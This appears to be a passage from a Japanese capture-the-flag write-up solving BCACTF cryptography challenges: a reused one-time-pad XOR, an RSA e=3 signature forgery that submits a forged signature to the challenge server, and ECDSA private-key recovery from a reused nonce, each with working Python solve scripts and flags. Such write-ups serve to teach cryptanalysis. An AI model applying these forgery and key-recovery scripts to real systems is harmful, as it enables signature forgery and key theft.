groceries = b"I need to buy 15 eggs, 1.7 kiloliters of milk, 11000 candles, 12 cans of asbestos-free cereal, and 0.7 watermelons."

with open('grocery-list.out', 'rb') as f:
    groceries_enc = f.read()

with open('many-time-pad.out', 'rb') as f:
    flag_enc = f.read()

key = bytes_to_long(groceries) ^ bytes_to_long(groceries_enc)
flag = long_to_bytes(bytes_to_long(flag_enc) ^ key).decode()
print(flag)
bcactf{y3a_0nly_uS3_th3sE_1_tim3}

Signature I (crypto 150)

サーバの処理概要は以下の通り。

・p, q: 2048ビット素数
・n = p * q
・e = 3
・chars = string.digits + string.ascii_letters + string.punctuation
・t: charsからランダムに20個選択し結合
・n, tを表示
・sig: 入力(hex)→hexデコードし数値化したもの
・str: pow(sig, e, n)のバイト文字列化したもの
・hash: strに含まれる"\x01\xff....\x00"の後32バイト
・hashがtのsha256ダイジェストと一致していたら、フラグを表示

hashで決まっているのは36バイトなので、nに比べ極端に小さい。できれだけ上位バイトにし、3乗根の整数を求める。その整数に1プラスしたものの3乗でも上位バイトに影響はしないことを利用してクリアする。

#!/usr/bin/env python3
import socket
from Crypto.Util.number import *
from Crypto.Hash import SHA256
from gmpy2 import iroot

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

e = 3

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challs.bcactf.com', 31747))

data = recvuntil(s, b'\n').rstrip()
print(data)
n = int(data.split(' ')[-1])
data = recvuntil(s, b'\n').rstrip()
print(data)
t = data.split(' ')[-1]

h = SHA256.new()
h.update(bytes(t, 'utf-8'))
target = b'\x01\xff\x01\x00' + h.digest()

c = bytes_to_long(target) * 256 ** 128
assert c < n
m = iroot(c, e)[0] + 1
sig = long_to_bytes(m).hex()

data = recvuntil(s, b': ')
print(data + sig)
s.sendall(sig.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

n = 472832645247434157488162112716843629964955656671303624558081139400167147309625308528107244630527576124606721122530187980767819996289240697588908237505444705954900370172562198508605325339842124498856618296973016744533654398674956629397742493104096539304364950346624926282654434805643539149348101586873548027119810841513765605717101424026234273769121592380517150028423039933029760752473438268880273880654795935370148091321783171021272681817159517314410865602339042193845933598183587556066232476181105681418007363674049182793836894393638453221580323158304972767158911053965919906287801236483405039102901421817382150129805840558388155930270471977751218908449358879263727527170550371297228110710049923307250242838063455925865162959689966779476098876859337673300936841811647866423855885264692578760609928258847824923858490444303514886543137644012069391498110496792404479290681923027562923074108429198949092460043680722627880128674206307341291193082170956658488870518217420611740064692219983667344107958925759848265274613916122116741671594092184851872956876865551275570603415570142883873588773599683286356516083616666767391768582989242088138563599523653392074566813386797043539908891262691909749671893567348787194721860906615805694293686193
Provide a signature for the text 8r5AKtZ"f=?'[_lwR]!+
: 07feabc7acb84a9449095cf465a547fcf71b64cec7a85f56752367e2ed9e698313501eb4d80b84224a0bdf5e17ab497d8d41d1fe1286c4
bcactf{s1gN4tUr3_f0rg3D_v8F2nC4}
bcactf{s1gN4tUr3_f0rg3D_v8F2nC4}

Signature II (crypto 225)

ECDSAの問題。同じkey1を使っていて、既知の2つのメッセージの署名がわかっているので、key1を算出することができる。

s1 = pow(key1, -1, o) * (msg1 + r * key2) % o
s2 = pow(key1, -1, o) * (msg2 + r * key2) % o
        ↓
(s1 - s2) % o = pow(key1, -1, o) * (msg1 - msg2) % o
        ↓
key1 = (msg1 - msg2) * inverse(s1 - s2, o) % o

key1がわかれば、以下のようにしてkey2を算出できる。

key2 = (key1 * s1 - msg1) * inverse(r, o) % o

key1とkey2、フラグの署名r, s3から、以下のようにしてフラグを算出できる。

flag = ((key1 * s3) - (r * key2)) % o
#!/usr/bin/env python3
from Crypto.Util.number import *

msg1 = 'Hello world!'
msg2 = 'The quick brown fox jumps over the lazy dog'
r1 = 394265082124615459155530563721344254643735610268730387434768649125969237030632747812974199346498872332826729866624662205276053883717679100648095904798281919234564985558723423304684224638102336
s1 = 613909209959882818732644911946233854167334105676497302633252322671805611475347114043493588995082759429640066981776822479054440264864232929215773070105835168226884512073853233614264678611112943
r2 = 394265082124615459155530563721344254643735610268730387434768649125969237030632747812974199346498872332826729866624662205276053883717679100648095904798281919234564985558723423304684224638102336
s2 = 543481719459711603697340629941246701353229291355413378408675683997766377647419805863247451456757806055040260918322994617774457863170968969137455903968181709931700665362031343080288361788043403
r3 = 394265082124615459155530563721344254643735610268730387434768649125969237030632747812974199346498872332826729866624662205276053883717679100648095904798281919234564985558723423304684224638102336
s3 = 238353596186904342726878869981624404566377276626701828108643282926988767695842081411879777456692702361198784768394606539663687724135458000640081796986143209867905104764889982684215287582758163
assert r1 == r2 == r3

o = 0x23FFFFFDC000000D7FFFFFB8000001D3FFFFF942D000165E3FFF94870000D52FFFFDD0E00008DE55600086550021E555FFFFF54FFFF4EAC000000049800154D9FFFFFFFFFFFFEDA00000000000000061

msg1 = int.from_bytes(bytes(msg1, 'utf-8'), 'big')
msg2 = int.from_bytes(bytes(msg2, 'utf-8'), 'big')
key1 = (msg1 - msg2) * inverse(s1 - s2, o) % o
key2 = (key1 * s1 - msg1) * inverse(r1, o) % o
flag = ((key1 * s3) - (r3 * key2)) % o
flag = long_to_bytes(flag).decode()
print(flag)
bcactf{S1gnature_2_n0w_ell1ptic_Jg41C3C}